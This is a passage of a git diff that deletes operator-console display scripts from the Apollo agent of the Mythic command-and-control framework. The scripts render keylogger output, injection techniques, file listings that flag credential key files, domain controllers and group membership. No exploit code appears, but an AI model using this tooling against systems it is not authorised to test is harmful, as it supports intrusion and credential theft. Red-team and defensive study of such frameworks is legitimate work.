PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( TaskID=taskData.Task.ID,Success=True) - display_params = f"-command {taskData.args.get_arg('command')}" - if taskData.args.get_arg('host') != "" and taskData.args.get_arg('host') is not None: - display_params += f" -host {taskData.args.get_arg('host')}" - if taskData.args.get_arg("username") != "" and taskData.args.get_arg("username") is not None: - display_params += f" -username {taskData.args.get_arg('username')} -domain {taskData.args.get_arg('domain')} -password {taskData.args.get_arg('password')}" - response.DisplayParams = display_params - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/download.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/download.js deleted file mode 100644 index 828528f3..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/download.js +++ /dev/null @@ -1,26 +0,0 @@ -function(task, responses){ - - if(task.status.includes("error")){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - if(responses.length > 0){ - try{ - const task_data = JSON.parse(responses[0]); - return { "media": [{ - "filename": `${task.display_params}`, - "agent_file_id": task_data["file_id"], - }]}; - }catch(error){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - } else { - return {"plaintext": "No response yet..."} - } - -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/get_injection_techniques.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/get_injection_techniques.js deleted file mode 100644 index b4701e4b..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/get_injection_techniques.js +++ /dev/null @@ -1,57 +0,0 @@ -function(task, responses) { - if (task.status.includes("error")) { - const combined = responses.reduce((prev, cur) => { - return prev + cur; - }, ""); - return { 'plaintext': combined }; - } else if (responses.length > 0) { - let file = {}; - let data = ""; - let rows = []; - let tableTitle = ""; - let headers = [ - { "plaintext": "set", "type": "button", "cellStyle": {}, "width": 100, "disableSort": true }, - { "plaintext": "name", "type": "string", "cellStyle": {}, "fillWidth": true }, - ]; - for (let i = 0; i < responses.length; i++) { - try { - data = JSON.parse(responses[i]); - } catch (error) { - console.log(error); - const combined = responses.reduce((prev, cur) => { - return prev + cur; - }, ""); - return { 'plaintext': combined }; - } - for (let j = 0; j < data.length; j++) { - let jinfo = data[j]; - let row = { - // If process name is BAD, then highlight red. - "rowStyle": {}, - "set": { - "button": { - "name": "set", - "type": "task", - "disabled": jinfo["is_current"], - "ui_feature": "set_injection_technique", - "parameters": jinfo["name"], - "cellStyle": {}, - } - }, - "name": { "plaintext": jinfo["name"], "cellStyle": {} }, - }; - rows.push(row); - } - } - return { - "table": [{ - "headers": headers, - "rows": rows, - "title": "Loaded Injection Techniques", - }] - }; - } else { - // this means we shouldn't have any output - return { "plaintext": "Not response yet from agent..." } - } -} diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/ifconfig.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/ifconfig.js deleted file mode 100644 index 50b8d002..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/ifconfig.js +++ /dev/null @@ -1,93 +0,0 @@ -function(task, responses){ - if(task.status.includes("error")){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - }else if(responses.length > 0){ - let data = ""; - let rows = []; - let headers = [ - {"plaintext": "Status", "type": "string", "cellStyle": {}, "width": 80}, - {"plaintext": "Name", "type": "string", "cellStyle": {}, "width": 200}, - {"plaintext": "IPv4", "type": "string", "cellStyle": {}, "width": 300}, - {"plaintext": "DNS", "type": "string", "cellStyle": {}, "width": 300}, - {"plaintext": "Gateway", "type": "string", "cellStyle": {}, "width": 300}, - {"plaintext": "IPv6", "type": "string", "cellStyle": {}, "width": 300}, - {"plaintext": "More Info", "type": "button", "cellStyle": {}, "width": 100, "disableSort": true}, - ]; - - try { - data = JSON.parse(responses[0]); - } catch (error) { - console.log(error); - const combined = responses.reduce((prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - for(let j = 0; j < data.length; j++){ - let moreInfo = ""; - let nic = data[j]; - - moreInfo = nic["Description"] - moreInfo += `\n Adapter Name ............................ : ${nic["AdapterName"]}\n`; - moreInfo += ` Adapter ID .............................. : ${nic["AdapterId"]}\n`; - moreInfo += ` Adapter Status .......................... : ${nic["Status"]}\n`; - - for(let i = 0; i < nic["AdressesV4"].length; i++){ - moreInfo += ` Unicast Address ......................... : ${nic["AdressesV4"][i]}\n`; - } - for(let i = 0; i < nic["AdressesV6"].length; i++){ - moreInfo += ` Unicast Address ......................... : ${nic["AdressesV6"][i]}\n`; - } - for(let i = 0; i < nic["DnsServers"].length; i++){ - moreInfo += ` DNS Servers ............................. : ${nic["DnsServers"][i]}\n`; - } - for(let i = 0; i < nic["Gateways"].length; i++){ - moreInfo += ` Gateway Address ......................... : ${nic["Gateways"][i]}\n`; - } - for(let i = 0; i < nic["DhcpAddresses"].length; i++){ - moreInfo += ` Dhcp Server ............................. : ${nic["DhcpAddresses"][i]}\n`; - } - moreInfo += ` DNS suffix .............................. : ${nic["DnsSuffix"]}\n`; - moreInfo += ` DNS enabled ............................. : ${nic["DnsEnabled"]}\n`; - moreInfo += ` Dynamically configured DNS .............. : ${nic["DynamicDnsEnabled"]}\n`; - - let backgroundColor = ""; - let rowStyle = {}; - let row = { - "rowStyle": rowStyle, - "Name": {"plaintext": nic["AdapterName"], "cellStyle": {}}, - "IPv4": {"plaintext": nic["AdressesV4"].toString(), "cellStyle": {}}, - "IPv6": {"plaintext": nic["AdressesV6"].toString(), "cellStyle": {}}, - "DNS": {"plaintext": nic["DnsServers"].toString(), "cellStyle": {}}, - "Gateway": {"plaintext": nic["Gateways"].toString(), "cellStyle": {}}, - "Status": {"plaintext": nic["Status"], "cellStyle": {}}, - - "More Info": { - "button": { - "name": "Expand", - "type": "string", - "value": moreInfo, - "title": nic["Description"], - "hoverText": "View additional attributes" - } - } - }; - - rows.push(row); - } - - return {"table":[{ - "headers": headers, - "rows": rows, - "title": "IP Configuration" - }]}; - - - }else{ - // this means we shouldn't have any output - return {"plaintext": "No response yet from agent..."} - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/jobs_new.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/jobs_new.js deleted file mode 100644 index 27783fff..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/jobs_new.js +++ /dev/null @@ -1,57 +0,0 @@ -function(task, responses){ - if(task.status.includes("error")){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - }else if(responses.length > 0){ - let file = {}; - let data = ""; - let rows = []; - let headers = [ - {"plaintext": "kill", "type": "button", "startIcon": "kill", "cellStyle": {}, "width": 100, "disableSort": true}, - {"plaintext": "operator", "type": "string", "cellStyle": {}, "width": 200}, - {"plaintext": "command", "type": "string", "cellStyle": {}, "width": 200}, - {"plaintext": "arguments", "type": "string", "cellStyle": {}, "fillWidth": true}, - ]; - for(let i = 0; i < responses.length; i++) - { - try{ - data = JSON.parse(responses[i]); - }catch(error){ - console.log(error); - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - - for(let j = 0; j < data.length; j++){ - let jinfo = data[j]; - let row = { - // If process name is BAD, then highlight red. - "rowStyle": {}, - "kill": {"button": { - "name": "kill", - "type": "task", - "ui_feature": "jobkill", - "parameters": jinfo["agent_task_id"], - "cellStyle": {}, - }}, - "operator": {"plaintext": jinfo["operator"], "cellStyle": {}}, - "command": {"plaintext": jinfo["command"], "cellStyle": {}}, - "arguments": {"plaintext": jinfo["display_params"], "cellStyle": {}}, - }; - rows.push(row); - } - } - return {"table":[{ - "headers": headers, - "rows": rows, - "title": "Running Jobs" - }]}; - }else{ - // this means we shouldn't have any output - return {"plaintext": "Not response yet from agent..."} - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/keylog_inject.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/keylog_inject.js deleted file mode 100644 index ff99cc3e..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/keylog_inject.js +++ /dev/null @@ -1,28 +0,0 @@ -function(task, responses){ - - if(task.status.includes("error")){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - if(responses.length > 0){ - try{ - var response_data = []; - for(let i = 0; i < responses.length; i++){ - const task_data = JSON.parse(responses[i]); - response_data.push(...task_data); - } - return {'plaintext': JSON.stringify(response_data, null, 2)} - }catch(error){ - console.log(error); - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - } else { - return {"plaintext": "No response yet..."} - } - -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/ls_new.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/ls_new.js deleted file mode 100644 index ee5100cc..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/ls_new.js +++ /dev/null @@ -1,611 +0,0 @@ -function(task, responses){ - if(task.status.includes("error")){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - }else if(responses.length > 0){ - // Known file types - const FileType = Object.freeze({ - ARCHIVE: 'archive', - DISKIMAGE: 'diskimage', - WORD: 'word', - EXCEL: 'excel', - POWERPOINT: 'powerpoint', - PDF: 'pdf', - DATABASE: 'db', - KEYMATERIAL: 'keymaterial', - SOURCECODE: 'sourcecode', - IMAGE: 'image' - }); - - // Mappings for file extensions to file types - const fileExtensionMappings = new Map([ - // Archive file extensions - [".a", FileType.ARCHIVE], - [".ar", FileType.ARCHIVE], - [".cpio", FileType.ARCHIVE], - [".shar", FileType.ARCHIVE], - [".LBR", FileType.ARCHIVE], - [".lbr", FileType.ARCHIVE], - [".mar", FileType.ARCHIVE], - [".sbx", FileType.ARCHIVE], - [".tar", FileType.ARCHIVE], - [".bz2", FileType.ARCHIVE], - [".F", FileType.ARCHIVE], - [".gz", FileType.ARCHIVE], - [".lz", FileType.ARCHIVE], - [".lz4", FileType.ARCHIVE], - [".lzma", FileType.ARCHIVE], - [".lzo", FileType.ARCHIVE], - [".rz", FileType.ARCHIVE], - [".sfark", FileType.ARCHIVE], - [".sz", FileType.ARCHIVE], - [".?Q?", FileType.ARCHIVE], - [".?Z?", FileType.ARCHIVE], - [".xz", FileType.ARCHIVE], - [".z", FileType.ARCHIVE], - [".Z", FileType.ARCHIVE], - [".zst", FileType.ARCHIVE], - [".??", FileType.ARCHIVE], - [".7z", FileType.ARCHIVE], - [".s7z", FileType.ARCHIVE], - [".ace", FileType.ARCHIVE], - [".afa", FileType.ARCHIVE], - [".alz", FileType.ARCHIVE], - [".apk", FileType.ARCHIVE], - [".arc", FileType.ARCHIVE], - [".arc", FileType.ARCHIVE], - [".arj", FileType.ARCHIVE], - [".b1", FileType.ARCHIVE], - [".b6z", FileType.ARCHIVE], - [".ba", FileType.ARCHIVE], - [".bh", FileType.ARCHIVE], - [".cab", FileType.ARCHIVE], - [".car", FileType.ARCHIVE], - [".cfs", FileType.ARCHIVE], - [".cpt", FileType.ARCHIVE], - [".dar", FileType.ARCHIVE], - [".dd", FileType.ARCHIVE], - [".dgc", FileType.ARCHIVE], - [".ear", FileType.ARCHIVE], - [".gca", FileType.ARCHIVE], - [".ha", FileType.ARCHIVE], - [".hki", FileType.ARCHIVE], - [".ice", FileType.ARCHIVE], - [".jar", FileType.ARCHIVE], - [".kgb", FileType.ARCHIVE], - [".lzh", FileType.ARCHIVE], - [".lzx", FileType.ARCHIVE], - [".pak", FileType.ARCHIVE], - [".pak", FileType.ARCHIVE], - [".parti", FileType.ARCHIVE], - [".paq6", FileType.ARCHIVE], - [".pea", FileType.ARCHIVE], - [".pim", FileType.ARCHIVE], - [".pit", FileType.ARCHIVE], - [".qda", FileType.ARCHIVE], - [".rar", FileType.ARCHIVE], - [".rk", FileType.ARCHIVE], - [".sda", FileType.ARCHIVE], - [".sea", FileType.ARCHIVE], - [".sen", FileType.ARCHIVE], - [".sfx", FileType.ARCHIVE], - [".shk", FileType.ARCHIVE], - [".sit", FileType.ARCHIVE], - [".sitx", FileType.ARCHIVE], - [".sqx", FileType.ARCHIVE], - [".tar", FileType.ARCHIVE], - [".tbz2", FileType.ARCHIVE], - [".uc", FileType.ARCHIVE], - [".uca", FileType.ARCHIVE], - [".uha", FileType.ARCHIVE], - [".war", FileType.ARCHIVE], - [".wim", FileType.ARCHIVE], - [".xar", FileType.ARCHIVE], - [".xp3", FileType.ARCHIVE], - [".yz1", FileType.ARCHIVE], - [".zip", FileType.ARCHIVE], - [".zoo", FileType.ARCHIVE], - [".zpaq", FileType.ARCHIVE], - [".zz", FileType.ARCHIVE], - [".ecc", FileType.ARCHIVE], - [".ecsbx", FileType.ARCHIVE], - [".par", FileType.ARCHIVE], - [".par2", FileType.ARCHIVE], - [".rev", FileType.ARCHIVE], - - // Disk image file extensions - [".dmg", FileType.DISKIMAGE], - [".iso", FileType.DISKIMAGE], - [".vmdk", FileType.DISKIMAGE], - - // Word documents - [".doc", FileType.WORD], - [".docx", FileType.WORD], - [".dotm", FileType.WORD], - [".dot", FileType.WORD], - [".wbk", FileType.WORD], - [".docm", FileType.WORD], - [".dotx", FileType.WORD], - [".docb", FileType.WORD], - - // Excel documents - [".csv", FileType.EXCEL], - [".xls", FileType.EXCEL], - [".xlsx", FileType.EXCEL], - [".xlsm", FileType.EXCEL], - [".xltx", FileType.EXCEL], - [".xltm", FileType.EXCEL], - [".xlmx", FileType.EXCEL], - [".xlmt", FileType.EXCEL], - - // Powerpoint documents - [".ppt", FileType.POWERPOINT], - [".pptx", FileType.POWERPOINT], - [".potx", FileType.POWERPOINT], - [".ppsx", FileType.POWERPOINT], - [".thmx", FileType.POWERPOINT], - [".pot", FileType.POWERPOINT], - [".pps", FileType.POWERPOINT], - - // PDF documents - [".pdf", FileType.PDF], - - // Database files - [".db", FileType.DATABASE], - [".sql", FileType.DATABASE], - [".psql", FileType.DATABASE], - - // Key files - [".pem", FileType.KEYMATERIAL], - [".ppk", FileType.KEYMATERIAL], - [".cer", FileType.KEYMATERIAL], - [".pvk", FileType.KEYMATERIAL], - [".pfx", FileType.KEYMATERIAL], - - // Source code files - [".config", FileType.SOURCECODE], - [".ps1", FileType.SOURCECODE], - [".psm1", FileType.SOURCECODE], - [".psd1", FileType.SOURCECODE], - [".vbs", FileType.SOURCECODE], - [".js", FileType.SOURCECODE], - [".py", FileType.SOURCECODE], - [".pl", FileType.SOURCECODE], - [".rb", FileType.SOURCECODE], - [".go", FileType.SOURCECODE], - [".xml", FileType.SOURCECODE], - [".html", FileType.SOURCECODE], - [".css", FileType.SOURCECODE], - [".sh", FileType.SOURCECODE], - [".bash", FileType.SOURCECODE], - [".yaml", FileType.SOURCECODE], - [".yml", FileType.SOURCECODE], - [".c", FileType.SOURCECODE], - [".cpp", FileType.SOURCECODE], - [".h", FileType.SOURCECODE], - [".hpp", FileType.SOURCECODE], - [".cs", FileType.SOURCECODE], - [".sln", FileType.SOURCECODE], - [".csproj", FileType.SOURCECODE], - - // Image files - [".2000", FileType.IMAGE], - [".ani", FileType.IMAGE], - [".anim", FileType.IMAGE], - [".apng", FileType.IMAGE], - [".art", FileType.IMAGE], - [".avif", FileType.IMAGE], - [".bmp", FileType.IMAGE], - [".bpg", FileType.IMAGE], - [".bsave", FileType.IMAGE], - [".cal", FileType.IMAGE], - [".cin", FileType.IMAGE], - [".cpc", FileType.IMAGE], - [".cpt", FileType.IMAGE], - [".cur", FileType.IMAGE], - [".dds", FileType.IMAGE], - [".dpx", FileType.IMAGE], - [".ecw", FileType.IMAGE], - [".ep", FileType.IMAGE], - [".exr", FileType.IMAGE], - [".fits", FileType.IMAGE], - [".flic", FileType.IMAGE], - [".flif", FileType.IMAGE], - [".fpx", FileType.IMAGE], - [".gif", FileType.IMAGE], - [".hdr", FileType.IMAGE], - [".hdri", FileType.IMAGE], - [".hevc", FileType.IMAGE], - [".icer", FileType.IMAGE], - [".icns", FileType.IMAGE], - [".ico", FileType.IMAGE], - [".ics", FileType.IMAGE], - [".ilbm", FileType.IMAGE], - [".it", FileType.IMAGE], - [".jbig", FileType.IMAGE], - [".jbig2", FileType.IMAGE], - [".jng", FileType.IMAGE], - [".jpeg", FileType.IMAGE], - [".jpeg", FileType.IMAGE], - [".jpeg", FileType.IMAGE], - [".jpeg", FileType.IMAGE], - [".jpeg", FileType.IMAGE], - [".jpeg", FileType.IMAGE], - [".jpeg", FileType.IMAGE], - [".jpeg", FileType.IMAGE], - [".kra", FileType.IMAGE], - [".logluv", FileType.IMAGE], - [".ls", FileType.IMAGE], - [".miff", FileType.IMAGE], - [".mng", FileType.IMAGE], - [".nrrd", FileType.IMAGE], - [".pam", FileType.IMAGE], - [".pbm", FileType.IMAGE], - [".pcx", FileType.IMAGE], - [".pgf", FileType.IMAGE], - [".pgm", FileType.IMAGE], - [".pictor", FileType.IMAGE], - [".png", FileType.IMAGE], - [".pnm", FileType.IMAGE], - [".ppm", FileType.IMAGE], - [".psb", FileType.IMAGE], - [".psd", FileType.IMAGE], - [".psp", FileType.IMAGE], - [".qtvr", FileType.IMAGE], - [".ras", FileType.IMAGE], - [".rgbe", FileType.IMAGE], - [".sgi", FileType.IMAGE], - [".tga", FileType.IMAGE], - [".tiff", FileType.IMAGE], - [".tiff", FileType.IMAGE], - [".tiff", FileType.IMAGE], - [".tiff", FileType.IMAGE], - [".ufo", FileType.IMAGE], - [".ufp", FileType.IMAGE], - [".wbmp", FileType.IMAGE], - [".webp", FileType.IMAGE], - [".xbm", FileType.IMAGE], - [".xcf", FileType.IMAGE], - [".xl", FileType.IMAGE], - [".xpm", FileType.IMAGE], - [".xr", FileType.IMAGE], - [".xs", FileType.IMAGE], - [".xt", FileType.IMAGE], - [".xwd", FileType.IMAGE], - ]); - - // Mappings for file type to list entry styling - const fileStyleMap = new Map([ - [FileType.ARCHIVE, { - startIcon: "archive", - startIconHoverText: "Archive File", - startIconColor: "goldenrod", - }], - [FileType.DISKIMAGE, { - startIcon: "diskimage", - startIconHoverText: "Disk Image", - startIconColor: "goldenrod", - }], - [FileType.WORD, { - startIcon: "word", - startIconHoverText: "Microsoft Word Document", - startIconColor: "cornflowerblue", - }], - [FileType.EXCEL, { - startIcon: 'excel', - startIconHoverText: "Microsoft Excel Document", - startIconColor: "darkseagreen", - }], - [FileType.POWERPOINT, { - startIcon: 'powerpoint', - startIconHoverText: "Microsoft PowerPoint Document", - startIconColor: "indianred", - }], - [FileType.PDF, { - startIcon: "pdf", - startIconHoverText: "Adobe Acrobat PDF", - startIconColor: "orangered", - }], - [FileType.DATABASE, { - startIcon: 'database', - startIconHoverText: "Database File Format", - }], - [FileType.KEYMATERIAL, { - startIcon: 'key', - startIconHoverText: "Key Credential Material", - }], - [FileType.SOURCECODE, { - startIcon: 'code', - startIconHoverText: "Source Code", - startIconColor: "rgb(25,142,117)", - }], - [FileType.IMAGE, { - startIcon: "image", - startIconHoverText: "Image File", - }] - ]); - - let lookupEntryStyling = function(entry) { - if (entry["is_file"]) { - let fileExtension = "." + entry["name"].split(".").slice(-1)[0]; - let fileCategory = fileExtensionMappings.get(fileExtension); - - let defaultStyling = { - startIcon: "", - startIconHoverText: "", - startIconColor: "", - }; - - if (fileCategory !== undefined) { - return { ...defaultStyling, ...fileStyleMap.get(fileCategory) }; - } else { - return defaultStyling; - } - } else { - return { - startIcon: "openFolder", - startIconHoverText: "Directory", - startIconColor: "rgb(241,226,0)", - } - } - }; - - let entrySubTaskAction = function(data, entry) { - if (entry["is_file"]) { - // TODO: Rewrite this to always pass the UNC path to the cat command. - // Need to make sure the cat command is capable of handling UNC paths. - let cat_parameters = ""; - if (entry["full_name"].includes(":")) { - cat_parameters = entry["full_name"]; - } else { - cat_parameters = "\\\\" + data["host"] + "\\" + entry["full_name"]; - } - - return { - name: "cat", - type: "task", - ui_feature: "cat", - parameters: cat_parameters, - } - } else { - return { - name: "ls", - type: "task", - ui_feature: "file_browser:list", - startIcon: "list", - parameters: { - host: data["host"], - full_path: entry["full_name"], - } - } - } - }; - - let formattedResponse = { - headers: [ - { - plaintext: "actions", - type: "button", - cellStyle: {}, - width: 120, - disableSort: true, - }, - { - plaintext: "Task", - type: "button", - cellStyle: {}, - width: 70, - disableSort: true, - }, - { - plaintext: "name", - type: "string", - fillWidth: true, - cellStyle: {}, - }, - { - plaintext: "size", - type: "size", - width: 100, - cellStyle: {}, - }, - { - plaintext: "owner", - type: "string", - fillWidth: true, - cellStyle: {}, - }, - { - plaintext: "created", - type: "string", - fillWidth: true, - cellStyle: {}, - }, - { - plaintext: "last modified", - type: "string", - fillWidth: true, - cellStyle: {}, - }, - { - plaintext: "last accessed", - type: "string", - fillWidth: true, - cellStyle: {}, - }, - ], - title: "", - rows: [], - }; - - - - let createFormattedRow = function(data, entry) { - let entryStyling = lookupEntryStyling(entry); - return { - rowStyle: {}, - name: { - plaintext: entry["name"], - cellStyle: {}, - startIcon: entryStyling.startIcon, - startIconHoverText: entryStyling.startIconHoverText, - startIconColor: entryStyling.startIconColor, - }, - size: { - plaintext: entry["size"], - cellStyle: {}, - }, - owner: { - plaintext: entry["owner"], - cellStyle: {}, - }, - "created": { - plaintext: new Date(entry["creation_date"]).toLocaleString(), - cellStyle: {}, - }, - "last modified": { - plaintext: new Date(entry["modify_time"]).toLocaleString(), - cellStyle: {}, - }, - "last accessed": { - plaintext: new Date(entry["access_time"]).toLocaleString(), - cellStyle: {}, - }, - Task: { - button: entrySubTaskAction(data, entry), - cellStyle: {}, - }, - actions: { - button: { - startIcon: "list", - name: "Actions", - type: "menu", - value: [ - { - name: "Extended Attributes", - title: "Viewing Extended Attributes for " + entry["name"], - type: "dictionary", - leftColumnTitle: "Extended Attributes", - rightColumnTitle: "Values", - startIcon: "list", - value: { - "Extended Attributes": entry["extended_attributes"], - }, - }, - { - name: "Access Control Entries", - type: "table", - title: "Viewing Access Control Lists for " + entry["name"], - leftColumnTitle: "acls", - rightColumnTitle: "Values", - startIcon: "list", - value: { - headers: [ - { - plaintext: "account", - width: 400, - type: "string", - }, - { - plaintext: "type", - type: "string", - width: 100, - }, - { - plaintext: "rights", - type: "string", - fillWidth: true, - }, - { - plaintext: "inherited", - type: "string", - width: 150, - }, - ], - rows: entry["permissions"]?.map((permValue) => ({ - account: { - plaintext: permValue["account"], - }, - type: { - plaintext: permValue["type"], - }, - rights: { - plaintext: permValue["rights"], - }, - inherited: { - plaintext: permValue["is_inherited"].toString(), - } - })), - }, - }, - { - name: "Download", - type: "task", - disabled: !entry["is_file"], - startIcon: "download", - ui_feature: "file_browser:download", - parameters: { - host: data["host"], - full_path: entry["full_name"], - } - , - }, - { - name: "Delete", - type: "task", - startIcon: "delete", - ui_feature: "file_browser:remove", - getConfirmation: true, - parameters: { - host: data["host"], - full_path: entry["full_name"], - } - , - }, - ] - } - } - } - }; - - for (let i = 0; i < responses.length; i++) { - let data = {}; - try { - data = JSON.parse(responses[i]); - } catch(error) { - console.log(error); - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - - let ls_path = ""; - if(data["parent_path"] === ""){ - ls_path = data["name"]; - } - else if(data["parent_path"].endsWith("\\")){ - ls_path = data["parent_path"] + data["name"]; - }else{ - ls_path = data["parent_path"] + "\\" + data["name"]; - } - - //formattedResponse.title = "Contents of " + ls_path; - - if (data["is_file"]) { - data["full_name"] = ls_path; - formattedResponse.rows.push(createFormattedRow(data, data)); - } else { - formattedResponse.rows = formattedResponse.rows.concat( - data["files"]?.map((entry) => createFormattedRow(data, entry)) - ); - } - } - - return {table: [formattedResponse]}; - } else { - return {"plaintext": "No response yet from agent..."} - } -} diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/net_dclist.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/net_dclist.js deleted file mode 100644 index aeb10a96..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/net_dclist.js +++ /dev/null @@ -1,69 +0,0 @@ -function(task, responses){ - if(task.status.includes("error")){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - }else if(responses.length > 0){ - let file = {}; - let data = ""; - let rows = []; - let tableTitle = "Domain Controllers"; - - let headers = [ - {"plaintext": "shares", "type": "button", "startIcon": "list", "cellStyle": {}, "width": 100}, - {"plaintext": "name", "type": "string", "cellStyle": {}, "fillWidth": true}, - {"plaintext": "domain", "type": "string", "cellStyle": {}, "fillWidth": true}, - {"plaintext": "forest", "type": "string", "cellStyle": {}, "fillWidth": true}, - {"plaintext": "ip", "type": "string", "cellStyle": {}, "fillWidth": true}, - {"plaintext": "os", "type": "string", "cellStyle": {}, "fillWidth": true}, - ]; - for(let i = 0; i < responses.length; i++) - { - try{ - data = JSON.parse(responses[i]); - }catch(error){ - console.log(error); - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - - for(let j = 0; j < data.length; j++){ - let jinfo = data[j]; - let nameField = {"plaintext": jinfo["computer_name"], "copyIcon": true, "cellStyle": {}}; - if (jinfo["global_catalog"]) { - // "endIcon": "database", "endIconHoverText": "Global Catalog", - nameField["endIcon"] = "database"; - nameField["endIconHoverText"] = "Global Catalog"; - } - let row = { - // If process name is BAD, then highlight red. - "rowStyle": {}, - "shares": {"button": { - "name": "shares", - "type": "task", - "ui_feature": "net_shares", - "parameters": jinfo["computer_name"], - "cellStyle": {}, - }}, - "name": nameField, - "domain": {"plaintext": jinfo["domain"], "cellStyle": {}}, - "forest": {"plaintext": jinfo["forest"], "cellStyle": {}}, - "ip": {"plaintext": jinfo["ip_address"], "copyIcon": true, "cellStyle": {}}, - "os": {"plaintext": jinfo["os_version"], "cellStyle": {}} - }; - rows.push(row); - } - } - return {"table":[{ - "headers": headers, - "rows": rows, - "title": tableTitle, - }]}; - }else{ - // this means we shouldn't have any output - return {"plaintext": "No response yet from agent..."} - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/net_localgroup_member_new.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/net_localgroup_member_new.js deleted file mode 100644 index d441d6a6..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/net_localgroup_member_new.js +++ /dev/null @@ -1,62 +0,0 @@ -function(task, responses){ - if(task.status.includes("error")){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - }else if(responses.length > 0){ - let file = {}; - let data = ""; - let rows = []; - let tableTitle = ""; - - let headers = [ - {"plaintext": "group", "type": "string", "cellStyle": {}, "width": 100}, - {"plaintext": "name", "type": "string", "cellStyle": {}, "fillWidth": true}, - {"plaintext": "sid", "type": "string", "cellStyle": {}, "fillWidth": true}, - ]; - for(let i = 0; i < responses.length; i++) - { - try{ - data = JSON.parse(responses[i]); - }catch(error){ - console.log(error); - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - for(let j = 0; j < data.length; j++){ - let jinfo = data[j]; - if (tableTitle == ""){ - tableTitle = jinfo["group_name"] + " Membership"; - } - let groupText = ""; - if (jinfo["is_group"]) - { - groupText = "Group"; - } - else - { - groupText = "User"; - } - let row = { - // If process name is BAD, then highlight red. - "rowStyle": {}, - "group": {"plaintext": groupText, "cellStyle": {}}, - "name": {"plaintext": jinfo["member_name"], "copyIcon": true, "cellStyle": {}}, - "sid": {"plaintext": jinfo["sid"], "copyIcon": true, "cellStyle": {}}, - }; - rows.push(row); - } - } - return {"table":[{ - "headers": headers, - "rows": rows, - "title": tableTitle, - }]}; - }else{ - // this means we shouldn't have any output - return {"plaintext": "No response yet from agent..."} - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/net_localgroup_new.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/net_localgroup_new.js deleted file mode 100644 index 53f05509..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/net_localgroup_new.js +++ /dev/null @@ -1,65 +0,0 @@ -function(task, responses){ - if(task.status.includes("error")){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - }else if(responses.length > 0){ - let file = {}; - let data = ""; - let rows = []; - let tableTitle = ""; - - let headers = [ - {"plaintext": "members", "type": "button", "cellStyle": {}, "width": 100, "disableSort": true}, - {"plaintext": "name", "type": "string", "cellStyle": {}, "fillWidth": true}, - {"plaintext": "comment", "type": "string", "cellStyle": {}, "fillWidth": true}, - {"plaintext": "sid", "type": "string", "cellStyle": {}, "fillWidth": true}, - ]; - for(let i = 0; i < responses.length; i++) - { - try{ - data = JSON.parse(responses[i]); - }catch(error){ - console.log(error); - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - - for(let j = 0; j < data.length; j++){ - let jinfo = data[j]; - let row = { - // If process name is BAD, then highlight red. - "rowStyle": {}, - "members": {"button": { - "name": "query", - "type": "task", - "startIcon": "list", - "ui_feature": "net_localgroup_member", - "parameters": JSON.stringify( - { - "Computer": jinfo["computer_name"], - "Group": jinfo["group_name"], - } - ), - "cellStyle": {}, - }}, - "name": {"plaintext": jinfo["group_name"], "cellStyle": {}}, - "comment": {"plaintext": jinfo["comment"], "cellStyle": {}}, - "sid": {"plaintext": jinfo["sid"], "cellStyle": {}, "copyIcon": true,}, - }; - 